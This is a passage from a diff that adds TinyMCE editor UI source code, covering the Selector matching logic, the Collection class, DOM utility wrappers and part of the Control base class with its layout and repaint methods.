+						var value = item[name] ? item[name]() : '';
+
+						return !cmp ? !!check :
+							cmp === "=" ? value === check :
+							cmp === "*=" ? value.indexOf(check) >= 0 :
+							cmp === "~=" ? (" " + value + " ").indexOf(" " + check + " ") >= 0 :
+							cmp === "!=" ? value != check :
+							cmp === "^=" ? value.indexOf(check) === 0 :
+							cmp === "$=" ? value.substr(value.length - check.length) === check :
+							false;
+					};
+				}
+			}
+
+			function compilePsuedoFilter(name) {
+				var notSelectors;
+
+				if (name) {
+					name = /(?:not\((.+)\))|(.+)/i.exec(name);
+
+					if (!name[1]) {
+						name = name[2];
+
+						return function(item, index, length) {
+							return name === 'first' ? index === 0 :
+								name === 'last' ? index === length - 1 :
+								name === 'even' ? index % 2 === 0 :
+								name === 'odd' ? index % 2 === 1 :
+								item[name] ? item[name]() :
+								false;
+						};
+					} else {
+						// Compile not expression
+						notSelectors = parseChunks(name[1], []);
+
+						return function(item) {
+							return !match(item, notSelectors);
+						};
+					}
+				}
+			}
+
+			function compile(selector, filters, direct) {
+				var parts;
+
+				function add(filter) {
+					if (filter) {
+						filters.push(filter);
+					}
+				}
+
+				// Parse expression into parts
+				parts = expression.exec(selector.replace(whiteSpace, ''));
+
+				add(compileNameFilter(parts[1]));
+				add(compileIdFilter(parts[2]));
+				add(compileClassesFilter(parts[3]));
+				add(compileAttrFilter(parts[4], parts[5], parts[6]));
+				add(compilePsuedoFilter(parts[7]));
+
+				// Mark the filter with psuedo for performance
+				filters.psuedo = !!parts[7];
+				filters.direct = direct;
+
+				return filters;
+			}
+
+			// Parser logic based on Sizzle by John Resig
+			function parseChunks(selector, selectors) {
+				var parts = [], extra, matches, i;
+
+				do {
+					chunker.exec("");
+					matches = chunker.exec(selector);
+
+					if (matches) {
+						selector = matches[3];
+						parts.push(matches[1]);
+
+						if (matches[2]) {
+							extra = matches[3];
+							break;
+						}
+					}
+				} while (matches);
+
+				if (extra) {
+					parseChunks(extra, selectors);
+				}
+
+				selector = [];
+				for (i = 0; i < parts.length; i++) {
+					if (parts[i] != '>') {
+						selector.push(compile(parts[i], [], parts[i - 1] === '>'));
+					}
+				}
+
+				selectors.push(selector);
+
+				return selectors;
+			}
+
+			this._selectors = parseChunks(selector, []);
+		},
+
+		/**
+		 * Returns true/false if the selector matches the specified control.
+		 *
+		 * @method match
+		 * @param {tinymce.ui.Control} control Control to match agains the selector.
+		 * @param {Array} selectors Optional array of selectors, mostly used internally.
+		 * @return {Boolean} true/false state if the control matches or not.
+		 */
+		match: function(control, selectors) {
+			var i, l, si, sl, selector, fi, fl, filters, index, length, siblings, count, item;
+
+			selectors = selectors || this._selectors;
+			for (i = 0, l = selectors.length; i < l; i++) {
+				selector = selectors[i];
+				sl = selector.length;
+				item = control;
+				count = 0;
+
+				for (si = sl - 1; si >= 0; si--) {
+					filters = selector[si];
+
+					while (item) {
+						// Find the index and length since a psuedo filter like :first needs it
+						if (filters.psuedo) {
+							siblings = item.parent().items();
+							index = length = siblings.length;
+							while (index--) {
+								if (siblings[index] === item) {
+									break;
+								}
+							}
+						}
+
+						for (fi = 0, fl = filters.length; fi < fl; fi++) {
+							if (!filters[fi](item, index, length)) {
+								fi = fl + 1;
+								break;
+							}
+						}
+
+						if (fi === fl) {
+							count++;
+							break;
+						} else {
+							// If it didn't match the right most expression then
+							// break since it's no point looking at the parents
+							if (si === sl - 1) {
+								break;
+							}
+						}
+
+						item = item.parent();
+					}
+				}
+
+				// If we found all selectors then return true otherwise continue looking
+				if (count === sl) {
+					return true;
+				}
+			}
+
+			return false;
+		},
+
+		/**
+		 * Returns a tinymce.ui.Collection with matches of the specified selector inside the specified container.
+		 *
+		 * @method find
+		 * @param {tinymce.ui.Control} container Container to look for items in.
+		 * @return {tinymce.ui.Collection} Collection with matched elements.
+		 */
+		find: function(container) {
+			var matches = [], i, l, selectors = this._selectors;
+
+			function collect(items, selector, index) {
+				var i, l, fi, fl, item, filters = selector[index];
+
+				for (i = 0, l = items.length; i < l; i++) {
+					item = items[i];
+
+					// Run each filter agains the item
+					for (fi = 0, fl = filters.length; fi < fl; fi++) {
+						if (!filters[fi](item, i, l)) {
+							fi = fl + 1;
+							break;
+						}
+					}
+
+					// All filters matched the item
+					if (fi === fl) {
+						// Matched item is on the last expression like: panel toolbar [button]
+						if (index == selector.length - 1) {
+							matches.push(item);
+						} else {
+							// Collect next expression type
+							if (item.items) {
+								collect(item.items(), selector, index + 1);
+							}
+						}
+					} else if (filters.direct) {
+						return;
+					}
+
+					// Collect child items
+					if (item.items) {
+						collect(item.items(), selector, index);
+					}
+				}
+			}
+
+			if (container.items) {
+				for (i = 0, l = selectors.length; i < l; i++) {
+					collect(container.items(), selectors[i], 0);
+				}
+
+				// Unique the matches if needed
+				if (l > 1) {
+					matches = unique(matches);
+				}
+			}
+
+			// Fix for circular reference
+			if (!Collection) {
+				// TODO: Fix me!
+				Collection = Selector.Collection;
+			}
+
+			return new Collection(matches);
+		}
+	});
+
+	return Selector;
+});
+
+// Included from: js/tinymce/classes/ui/Collection.js
+
+/**
+ * Collection.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Control collection, this class contains control instances and it enables you to
+ * perform actions on all the contained items. This is very similar to how jQuery works.
+ *
+ * @example
+ * someCollection.show().disabled(true);
+ *
+ * @class tinymce.ui.Collection
+ */
+define("tinymce/ui/Collection", [
+	"tinymce/util/Tools",
+	"tinymce/ui/Selector",
+	"tinymce/util/Class"
+], function(Tools, Selector, Class) {
+	"use strict";
+
+	var Collection, proto, push = Array.prototype.push, slice = Array.prototype.slice;
+
+	proto = {
+		/**
+		 * Current number of contained control instances.
+		 *
+		 * @field length
+		 * @type Number
+		 */
+		length: 0,
+
+		/**
+		 * Constructor for the collection.
+		 *
+		 * @constructor
+		 * @method init
+		 * @param {Array} items Optional array with items to add.
+		 */
+		init: function(items) {
+			if (items) {
+				this.add(items);
+			}
+		},
+
+		/**
+		 * Adds new items to the control collection.
+		 *
+		 * @method add
+		 * @param {Array} items Array if items to add to collection.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		add: function(items) {
+			var self = this;
+
+			// Force single item into array
+			if (!Tools.isArray(items)) {
+				if (items instanceof Collection) {
+					self.add(items.toArray());
+				} else {
+					push.call(self, items);
+				}
+			} else {
+				push.apply(self, items);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Sets the contents of the collection. This will remove any existing items
+		 * and replace them with the ones specified in the input array.
+		 *
+		 * @method set
+		 * @param {Array} items Array with items to set into the Collection.
+		 * @return {tinymce.ui.Collection} Collection instance.
+		 */
+		set: function(items) {
+			var self = this, len = self.length, i;
+
+			self.length = 0;
+			self.add(items);
+
+			// Remove old entries
+			for (i = self.length; i < len; i++) {
+				delete self[i];
+			}
+
+			return self;
+		},
+
+		/**
+		 * Filters the collection item based on the specified selector expression or selector function.
+		 *
+		 * @method filter
+		 * @param {String} selector Selector expression to filter items by.
+		 * @return {tinymce.ui.Collection} Collection containing the filtered items.
+		 */
+		filter: function(selector) {
+			var self = this, i, l, matches = [], item, match;
+
+			// Compile string into selector expression
+			if (typeof(selector) === "string") {
+				selector = new Selector(selector);
+
+				match = function(item) {
+					return selector.match(item);
+				};
+			} else {
+				// Use selector as matching function
+				match = selector;
+			}
+
+			for (i = 0, l = self.length; i < l; i++) {
+				item = self[i];
+
+				if (match(item)) {
+					matches.push(item);
+				}
+			}
+
+			return new Collection(matches);
+		},
+
+		/**
+		 * Slices the items within the collection.
+		 *
+		 * @method slice
+		 * @param {Number} index Index to slice at.
+		 * @param {Number} len Optional length to slice.
+		 * @return {tinymce.ui.Collection} Current collection.
+		 */
+		slice: function() {
+			return new Collection(slice.apply(this, arguments));
+		},
+
+		/**
+		 * Makes the current collection equal to the specified index.
+		 *
+		 * @method eq
+		 * @param {Number} index Index of the item to set the collection to.
+		 * @return {tinymce.ui.Collection} Current collection.
+		 */
+		eq: function(index) {
+			return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
+		},
+
+		/**
+		 * Executes the specified callback on each item in collection.
+		 *
+		 * @method each
+		 * @param {function} callback Callback to execute for each item in collection.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		each: function(callback) {
+			Tools.each(this, callback);
+
+			return this;
+		},
+
+		/**
+		 * Returns an JavaScript array object of the contents inside the collection.
+		 *
+		 * @method toArray
+		 * @return {Array} Array with all items from collection.
+		 */
+		toArray: function() {
+			return Tools.toArray(this);
+		},
+
+		/**
+		 * Finds the index of the specified control or return -1 if it isn't in the collection.
+		 *
+		 * @method indexOf
+		 * @param {Control} ctrl Control instance to look for.
+		 * @return {Number} Index of the specified control or -1.
+		 */
+		indexOf: function(ctrl) {
+			var self = this, i = self.length;
+
+			while (i--) {
+				if (self[i] === ctrl) {
+					break;
+				}
+			}
+
+			return i;
+		},
+
+		/**
+		 * Returns a new collection of the contents in reverse order.
+		 *
+		 * @method reverse
+		 * @return {tinymce.ui.Collection} Collection instance with reversed items.
+		 */
+		reverse: function() {
+			return new Collection(Tools.toArray(this).reverse());
+		},
+
+		/**
+		 * Returns true/false if the class exists or not.
+		 *
+		 * @method hasClass
+		 * @param {String} cls Class to check for.
+		 * @return {Boolean} true/false state if the class exists or not.
+		 */
+		hasClass: function(cls) {
+			return this[0] ? this[0].hasClass(cls) : false;
+		},
+
+		/**
+		 * Sets/gets the specific property on the items in the collection. The same as executing control.<property>(<value>);
+		 *
+		 * @method prop
+		 * @param {String} name Property name to get/set.
+		 * @param {Object} value Optional object value to set.
+		 * @return {tinymce.ui.Collection} Current collection instance or value of the first item on a get operation.
+		 */
+		prop: function(name, value) {
+			var self = this, undef, item;
+
+			if (value !== undef) {
+				self.each(function(item) {
+					if (item[name]) {
+						item[name](value);
+					}
+				});
+
+				return self;
+			}
+
+			item = self[0];
+
+			if (item && item[name]) {
+				return item[name]();
+			}
+		},
+
+		/**
+		 * Executes the specific function name with optional arguments an all items in collection if it exists.
+		 *
+		 * @example collection.exec("myMethod", arg1, arg2, arg3);
+		 * @method exec
+		 * @param {String} name Name of the function to execute.
+		 * @param {Object} ... Multiple arguments to pass to each function.
+		 * @return {tinymce.ui.Collection} Current collection.
+		 */
+		exec: function(name) {
+			var self = this, args = Tools.toArray(arguments).slice(1);
+
+			self.each(function(item) {
+				if (item[name]) {
+					item[name].apply(item, args);
+				}
+			});
+
+			return self;
+		},
+
+		/**
+		 * Remove all items from collection and DOM.
+		 *
+		 * @method remove
+		 * @return {tinymce.ui.Collection} Current collection.
+		 */
+		remove: function() {
+			var i = this.length;
+
+			while (i--) {
+				this[i].remove();
+			}
+
+			return this;
+		}
+
+		/**
+		 * Fires the specified event by name and arguments on the control. This will execute all
+		 * bound event handlers.
+		 *
+		 * @method fire
+		 * @param {String} name Name of the event to fire.
+		 * @param {Object} args Optional arguments to pass to the event.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// fire: function(event, args) {}, -- Generated by code below
+
+		/**
+		 * Binds a callback to the specified event. This event can both be
+		 * native browser events like "click" or custom ones like PostRender.
+		 *
+		 * The callback function will have two parameters the first one being the control that received the event
+		 * the second one will be the event object either the browsers native event object or a custom JS object.
+		 *
+		 * @method on
+		 * @param {String} name Name of the event to bind. For example "click".
+		 * @param {String/function} callback Callback function to execute ones the event occurs.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// on: function(name, callback) {}, -- Generated by code below
+
+		/**
+		 * Unbinds the specified event and optionally a specific callback. If you omit the name
+		 * parameter all event handlers will be removed. If you omit the callback all event handles
+		 * by the specified name will be removed.
+		 *
+		 * @method off
+		 * @param {String} name Optional name for the event to unbind.
+		 * @param {function} callback Optional callback function to unbind.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// off: function(name, callback) {}, -- Generated by code below
+
+		/**
+		 * Shows the items in the current collection.
+		 *
+		 * @method show
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// show: function() {}, -- Generated by code below
+
+		/**
+		 * Hides the items in the current collection.
+		 *
+		 * @method hide
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// hide: function() {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the text contents of the items in the current collection.
+		 *
+		 * @method text
+		 * @return {tinymce.ui.Collection} Current collection instance or text value of the first item on a get operation.
+		 */
+		// text: function(value) {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the name contents of the items in the current collection.
+		 *
+		 * @method name
+		 * @return {tinymce.ui.Collection} Current collection instance or name value of the first item on a get operation.
+		 */
+		// name: function(value) {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the disabled state on the items in the current collection.
+		 *
+		 * @method disabled
+		 * @return {tinymce.ui.Collection} Current collection instance or disabled state of the first item on a get operation.
+		 */
+		// disabled: function(state) {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the active state on the items in the current collection.
+		 *
+		 * @method active
+		 * @return {tinymce.ui.Collection} Current collection instance or active state of the first item on a get operation.
+		 */
+		// active: function(state) {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the selected state on the items in the current collection.
+		 *
+		 * @method selected
+		 * @return {tinymce.ui.Collection} Current collection instance or selected state of the first item on a get operation.
+		 */
+		// selected: function(state) {}, -- Generated by code below
+
+		/**
+		 * Sets/gets the selected state on the items in the current collection.
+		 *
+		 * @method visible
+		 * @return {tinymce.ui.Collection} Current collection instance or visible state of the first item on a get operation.
+		 */
+		// visible: function(state) {}, -- Generated by code below
+
+		/**
+		 * Adds a class to all items in the collection.
+		 *
+		 * @method addClass
+		 * @param {String} cls Class to add to each item.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// addClass: function(cls) {}, -- Generated by code below
+
+		/**
+		 * Removes the specified class from all items in collection.
+		 *
+		 * @method removeClass
+		 * @param {String} cls Class to remove from each item.
+		 * @return {tinymce.ui.Collection} Current collection instance.
+		 */
+		// removeClass: function(cls) {}, -- Generated by code below
+	};
+
+	// Extend tinymce.ui.Collection prototype with some generated control specific methods
+	Tools.each('fire on off show hide addClass removeClass append prepend before after reflow'.split(' '), function(name) {
+		proto[name] = function() {
+			var args = Tools.toArray(arguments);
+
+			this.each(function(ctrl) {
+				if (name in ctrl) {
+					ctrl[name].apply(ctrl, args);
+				}
+			});
+
+			return this;
+		};
+	});
+
+	// Extend tinymce.ui.Collection prototype with some property methods
+	Tools.each('text name disabled active selected checked visible parent value data'.split(' '), function(name) {
+		proto[name] = function(value) {
+			return this.prop(name, value);
+		};
+	});
+
+	// Create class based on the new prototype
+	Collection = Class.extend(proto);
+
+	// Stick Collection into Selector to prevent circual references
+	Selector.Collection = Collection;
+
+	return Collection;
+});
+
+// Included from: js/tinymce/classes/ui/DomUtils.js
+
+/**
+ * DOMUtils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+define("tinymce/ui/DomUtils", [
+	"tinymce/util/Tools",
+	"tinymce/dom/DOMUtils"
+], function(Tools, DOMUtils) {
+	"use strict";
+
+	var count = 0;
+
+	return {
+		id: function() {
+			return 'mceu_' + (count++);
+		},
+
+		createFragment: function(html) {
+			return DOMUtils.DOM.createFragment(html);
+		},
+
+		getWindowSize: function() {
+			return DOMUtils.DOM.getViewPort();
+		},
+
+		getSize: function(elm) {
+			var width, height;
+
+			if (elm.getBoundingClientRect) {
+				var rect = elm.getBoundingClientRect();
+
+				width = Math.max(rect.width || (rect.right - rect.left), elm.offsetWidth);
+				height = Math.max(rect.height || (rect.bottom - rect.bottom), elm.offsetHeight);
+			} else {
+				width = elm.offsetWidth;
+				height = elm.offsetHeight;
+			}
+
+			return {width: width, height: height};
+		},
+
+		getPos: function(elm, root) {
+			return DOMUtils.DOM.getPos(elm, root);
+		},
+
+		getViewPort: function(win) {
+			return DOMUtils.DOM.getViewPort(win);
+		},
+
+		get: function(id) {
+			return document.getElementById(id);
+		},
+
+		addClass : function(elm, cls) {
+			return DOMUtils.DOM.addClass(elm, cls);
+		},
+
+		removeClass : function(elm, cls) {
+			return DOMUtils.DOM.removeClass(elm, cls);
+		},
+
+		hasClass : function(elm, cls) {
+			return DOMUtils.DOM.hasClass(elm, cls);
+		},
+
+		toggleClass: function(elm, cls, state) {
+			return DOMUtils.DOM.toggleClass(elm, cls, state);
+		},
+
+		css: function(elm, name, value) {
+			return DOMUtils.DOM.setStyle(elm, name, value);
+		},
+
+		getRuntimeStyle: function(elm, name) {
+			return DOMUtils.DOM.getStyle(elm, name, true);
+		},
+
+		on: function(target, name, callback, scope) {
+			return DOMUtils.DOM.bind(target, name, callback, scope);
+		},
+
+		off: function(target, name, callback) {
+			return DOMUtils.DOM.unbind(target, name, callback);
+		},
+
+		fire: function(target, name, args) {
+			return DOMUtils.DOM.fire(target, name, args);
+		},
+
+		innerHtml: function(elm, html) {
+			// Workaround for <div> in <p> bug on IE 8 #6178
+			DOMUtils.DOM.setHTML(elm, html);
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/ui/Control.js
+
+/**
+ * Control.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*eslint consistent-this:0 */
+
+/**
+ * This is the base class for all controls and containers. All UI control instances inherit
+ * from this one as it has the base logic needed by all of them.
+ *
+ * @class tinymce.ui.Control
+ */
+define("tinymce/ui/Control", [
+	"tinymce/util/Class",
+	"tinymce/util/Tools",
+	"tinymce/util/EventDispatcher",
+	"tinymce/ui/Collection",
+	"tinymce/ui/DomUtils"
+], function(Class, Tools, EventDispatcher, Collection, DomUtils) {
+	"use strict";
+
+	var hasMouseWheelEventSupport = "onmousewheel" in document;
+	var hasWheelEventSupport = false;
+	var classPrefix = "mce-";
+
+	function getEventDispatcher(obj) {
+		if (!obj._eventDispatcher) {
+			obj._eventDispatcher = new EventDispatcher({
+				scope: obj,
+				toggleEvent: function(name, state) {
+					if (state && EventDispatcher.isNative(name)) {
+						if (!obj._nativeEvents) {
+							obj._nativeEvents = {};
+						}
+
+						obj._nativeEvents[name] = true;
+
+						if (obj._rendered) {
+							obj.bindPendingEvents();
+						}
+					}
+				}
+			});
+		}
+
+		return obj._eventDispatcher;
+	}
+
+	var Control = Class.extend({
+		Statics: {
+			classPrefix: classPrefix
+		},
+
+		isRtl: function() {
+			return Control.rtl;
+		},
+
+		/**
+		 * Class/id prefix to use for all controls.
+		 *
+		 * @final
+		 * @field {String} classPrefix
+		 */
+		classPrefix: classPrefix,
+
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} style Style CSS properties to add.
+		 * @setting {String} border Border box values example: 1 1 1 1
+		 * @setting {String} padding Padding box values example: 1 1 1 1
+		 * @setting {String} margin Margin box values example: 1 1 1 1
+		 * @setting {Number} minWidth Minimal width for the control.
+		 * @setting {Number} minHeight Minimal height for the control.
+		 * @setting {String} classes Space separated list of classes to add.
+		 * @setting {String} role WAI-ARIA role to use for control.
+		 * @setting {Boolean} hidden Is the control hidden by default.
+		 * @setting {Boolean} disabled Is the control disabled by default.
+		 * @setting {String} name Name of the control instance.
+		 */
+		init: function(settings) {
+			var self = this, classes, i;
+
+			self.settings = settings = Tools.extend({}, self.Defaults, settings);
+
+			// Initial states
+			self._id = settings.id || DomUtils.id();
+			self._text = self._name = '';
+			self._width = self._height = 0;
+			self._aria = {role: settings.role};
+			this._elmCache = {};
+
+			// Setup classes
+			classes = settings.classes;
+			if (classes) {
+				classes = classes.split(' ');
+				classes.map = {};
+				i = classes.length;
+				while (i--) {
+					classes.map[classes[i]] = true;
+				}
+			}
+
+			self._classes = classes || [];
+			self.visible(true);
+
+			// Set some properties
+			Tools.each('title text width height name classes visible disabled active value'.split(' '), function(name) {
+				var value = settings[name], undef;
+
+				if (value !== undef) {
+					self[name](value);
+				} else if (self['_' + name] === undef) {
+					self['_' + name] = false;
+				}
+			});
+
+			self.on('click', function() {
+				if (self.disabled()) {
+					return false;
+				}
+			});
+
+			// TODO: Is this needed duplicate code see above?
+			if (settings.classes) {
+				Tools.each(settings.classes.split(' '), function(cls) {
+					self.addClass(cls);
+				});
+			}
+
+			/**
+			 * Name/value object with settings for the current control.
+			 *
+			 * @field {Object} settings
+			 */
+			self.settings = settings;
+
+			self._borderBox = self.parseBox(settings.border);
+			self._paddingBox = self.parseBox(settings.padding);
+			self._marginBox = self.parseBox(settings.margin);
+
+			if (settings.hidden) {
+				self.hide();
+			}
+		},
+
+		// Will generate getter/setter methods for these properties
+		Properties: 'parent,title,text,width,height,disabled,active,name,value',
+
+		// Will generate empty dummy functions for these
+		Methods: 'renderHtml',
+
+		/**
+		 * Returns the root element to render controls into.
+		 *
+		 * @method getContainerElm
+		 * @return {Element} HTML DOM element to render into.
+		 */
+		getContainerElm: function() {
+			return document.body;
+		},
+
+		/**
+		 * Returns a control instance for the current DOM element.
+		 *
+		 * @method getParentCtrl
+		 * @param {Element} elm HTML dom element to get parent control from.
+		 * @return {tinymce.ui.Control} Control instance or undefined.
+		 */
+		getParentCtrl: function(elm) {
+			var ctrl, lookup = this.getRoot().controlIdLookup;
+
+			while (elm && lookup) {
+				ctrl = lookup[elm.id];
+				if (ctrl) {
+					break;
+				}
+
+				elm = elm.parentNode;
+			}
+
+			return ctrl;
+		},
+
+		/**
+		 * Parses the specified box value. A box value contains 1-4 properties in clockwise order.
+		 *
+		 * @method parseBox
+		 * @param {String/Number} value Box value "0 1 2 3" or "0" etc.
+		 * @return {Object} Object with top/right/bottom/left properties.
+		 * @private
+		 */
+		parseBox: function(value) {
+			var len, radix = 10;
+
+			if (!value) {
+				return;
+			}
+
+			if (typeof(value) === "number") {
+				value = value || 0;
+
+				return {
+					top: value,
+					left: value,
+					bottom: value,
+					right: value
+				};
+			}
+
+			value = value.split(' ');
+			len = value.length;
+
+			if (len === 1) {
+				value[1] = value[2] = value[3] = value[0];
+			} else if (len === 2) {
+				value[2] = value[0];
+				value[3] = value[1];
+			} else if (len === 3) {
+				value[3] = value[1];
+			}
+
+			return {
+				top: parseInt(value[0], radix) || 0,
+				right: parseInt(value[1], radix) || 0,
+				bottom: parseInt(value[2], radix) || 0,
+				left: parseInt(value[3], radix) || 0
+			};
+		},
+
+		borderBox: function() {
+			return this._borderBox;
+		},
+
+		paddingBox: function() {
+			return this._paddingBox;
+		},
+
+		marginBox: function() {
+			return this._marginBox;
+		},
+
+		measureBox: function(elm, prefix) {
+			function getStyle(name) {
+				var defaultView = document.defaultView;
+
+				if (defaultView) {
+					// Remove camelcase
+					name = name.replace(/[A-Z]/g, function(a) {
+						return '-' + a;
+					});
+
+					return defaultView.getComputedStyle(elm, null).getPropertyValue(name);
+				}
+
+				return elm.currentStyle[name];
+			}
+
+			function getSide(name) {
+				var val = parseFloat(getStyle(name), 10);
+
+				return isNaN(val) ? 0 : val;
+			}
+
+			return {
+				top: getSide(prefix + "TopWidth"),
+				right: getSide(prefix + "RightWidth"),
+				bottom: getSide(prefix + "BottomWidth"),
+				left: getSide(prefix + "LeftWidth")
+			};
+		},
+
+		/**
+		 * Initializes the current controls layout rect.
+		 * This will be executed by the layout managers to determine the
+		 * default minWidth/minHeight etc.
+		 *
+		 * @method initLayoutRect
+		 * @return {Object} Layout rect instance.
+		 */
+		initLayoutRect: function() {
+			var self = this, settings = self.settings, borderBox, layoutRect;
+			var elm = self.getEl(), width, height, minWidth, minHeight, autoResize;
+			var startMinWidth, startMinHeight, initialSize;
+
+			// Measure the current element
+			borderBox = self._borderBox = self._borderBox || self.measureBox(elm, 'border');
+			self._paddingBox = self._paddingBox || self.measureBox(elm, 'padding');
+			self._marginBox = self._marginBox || self.measureBox(elm, 'margin');
+			initialSize = DomUtils.getSize(elm);
+
+			// Setup minWidth/minHeight and width/height
+			startMinWidth = settings.minWidth;
+			startMinHeight = settings.minHeight;
+			minWidth = startMinWidth || initialSize.width;
+			minHeight = startMinHeight || initialSize.height;
+			width = settings.width;
+			height = settings.height;
+			autoResize = settings.autoResize;
+			autoResize = typeof(autoResize) != "undefined" ? autoResize : !width && !height;
+
+			width = width || minWidth;
+			height = height || minHeight;
+
+			var deltaW = borderBox.left + borderBox.right;
+			var deltaH = borderBox.top + borderBox.bottom;
+
+			var maxW = settings.maxWidth || 0xFFFF;
+			var maxH = settings.maxHeight || 0xFFFF;
+
+			// Setup initial layout rect
+			self._layoutRect = layoutRect = {
+				x: settings.x || 0,
+				y: settings.y || 0,
+				w: width,
+				h: height,
+				deltaW: deltaW,
+				deltaH: deltaH,
+				contentW: width - deltaW,
+				contentH: height - deltaH,
+				innerW: width - deltaW,
+				innerH: height - deltaH,
+				startMinWidth: startMinWidth || 0,
+				startMinHeight: startMinHeight || 0,
+				minW: Math.min(minWidth, maxW),
+				minH: Math.min(minHeight, maxH),
+				maxW: maxW,
+				maxH: maxH,
+				autoResize: autoResize,
+				scrollW: 0
+			};
+
+			self._lastLayoutRect = {};
+
+			return layoutRect;
+		},
+
+		/**
+		 * Getter/setter for the current layout rect.
+		 *
+		 * @method layoutRect
+		 * @param {Object} [newRect] Optional new layout rect.
+		 * @return {tinymce.ui.Control/Object} Current control or rect object.
+		 */
+		layoutRect: function(newRect) {
+			var self = this, curRect = self._layoutRect, lastLayoutRect, size, deltaWidth, deltaHeight, undef, repaintControls;
+
+			// Initialize default layout rect
+			if (!curRect) {
+				curRect = self.initLayoutRect();
+			}
+
+			// Set new rect values
+			if (newRect) {
+				// Calc deltas between inner and outer sizes
+				deltaWidth = curRect.deltaW;
+				deltaHeight = curRect.deltaH;
+
+				// Set x position
+				if (newRect.x !== undef) {
+					curRect.x = newRect.x;
+				}
+
+				// Set y position
+				if (newRect.y !== undef) {
+					curRect.y = newRect.y;
+				}
+
+				// Set minW
+				if (newRect.minW !== undef) {
+					curRect.minW = newRect.minW;
+				}
+
+				// Set minH
+				if (newRect.minH !== undef) {
+					curRect.minH = newRect.minH;
+				}
+
+				// Set new width and calculate inner width
+				size = newRect.w;
+				if (size !== undef) {
+					size = size < curRect.minW ? curRect.minW : size;
+					size = size > curRect.maxW ? curRect.maxW : size;
+					curRect.w = size;
+					curRect.innerW = size - deltaWidth;
+				}
+
+				// Set new height and calculate inner height
+				size = newRect.h;
+				if (size !== undef) {
+					size = size < curRect.minH ? curRect.minH : size;
+					size = size > curRect.maxH ? curRect.maxH : size;
+					curRect.h = size;
+					curRect.innerH = size - deltaHeight;
+				}
+
+				// Set new inner width and calculate width
+				size = newRect.innerW;
+				if (size !== undef) {
+					size = size < curRect.minW - deltaWidth ? curRect.minW - deltaWidth : size;
+					size = size > curRect.maxW - deltaWidth ? curRect.maxW - deltaWidth : size;
+					curRect.innerW = size;
+					curRect.w = size + deltaWidth;
+				}
+
+				// Set new height and calculate inner height
+				size = newRect.innerH;
+				if (size !== undef) {
+					size = size < curRect.minH - deltaHeight ? curRect.minH - deltaHeight : size;
+					size = size > curRect.maxH - deltaHeight ? curRect.maxH - deltaHeight : size;
+					curRect.innerH = size;
+					curRect.h = size + deltaHeight;
+				}
+
+				// Set new contentW
+				if (newRect.contentW !== undef) {
+					curRect.contentW = newRect.contentW;
+				}
+
+				// Set new contentH
+				if (newRect.contentH !== undef) {
+					curRect.contentH = newRect.contentH;
+				}
+
+				// Compare last layout rect with the current one to see if we need to repaint or not
+				lastLayoutRect = self._lastLayoutRect;
+				if (lastLayoutRect.x !== curRect.x || lastLayoutRect.y !== curRect.y ||
+					lastLayoutRect.w !== curRect.w || lastLayoutRect.h !== curRect.h) {
+					repaintControls = Control.repaintControls;
+
+					if (repaintControls) {
+						if (repaintControls.map && !repaintControls.map[self._id]) {
+							repaintControls.push(self);
+							repaintControls.map[self._id] = true;
+						}
+					}
+
+					lastLayoutRect.x = curRect.x;
+					lastLayoutRect.y = curRect.y;
+					lastLayoutRect.w = curRect.w;
+					lastLayoutRect.h = curRect.h;
+				}
+
+				return self;
+			}
+
+			return curRect;
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this, style, bodyStyle, rect, borderBox, borderW = 0, borderH = 0, lastRepaintRect, round;
+
+			// Use Math.round on all values on IE < 9
+			round = !document.createRange ? Math.round : function(value) {
+				return value;
+			};
+
+			style = self.getEl().style;
+			rect = self._layoutRect;
+			lastRepaintRect = self._lastRepaintRect || {};
+
+			borderBox = self._borderBox;
+			borderW = borderBox.left + borderBox.right;
+			borderH = borderBox.top + borderBox.bottom;
+
+			if (rect.x !== lastRepaintRect.x) {
+				style.left = round(rect.x) + 'px';
+				lastRepaintRect.x = rect.x;
+			}
+
+			if (rect.y !== lastRepaintRect.y) {
+				style.top = round(rect.y) + 'px';
+				lastRepaintRect.y = rect.y;
+			}
+
+			if (rect.w !== lastRepaintRect.w) {
+				style.width = round(rect.w - borderW) + 'px';
+				lastRepaintRect.w = rect.w;
+			}
+
+			if (rect.h !== lastRepaintRect.h) {
+				style.height = round(rect.h - borderH) + 'px';
+				lastRepaintRect.h = rect.h;
+			}
+
+			// Update body if needed
+			if (self._hasBody && rect.innerW !== lastRepaintRect.innerW) {
+				bodyStyle = self.getEl('body').style;
+				bodyStyle.width = round(rect.innerW) + 'px';
+				lastRepaintRect.innerW = rect.innerW;
+			}
+
+			if (self._hasBody && rect.innerH !== lastRepaintRect.innerH) {
+				bodyStyle = bodyStyle || self.getEl('body').style;
+				bodyStyle.height = round(rect.innerH) + 'px';
+				lastRepaintRect.innerH = rect.innerH;
+			}
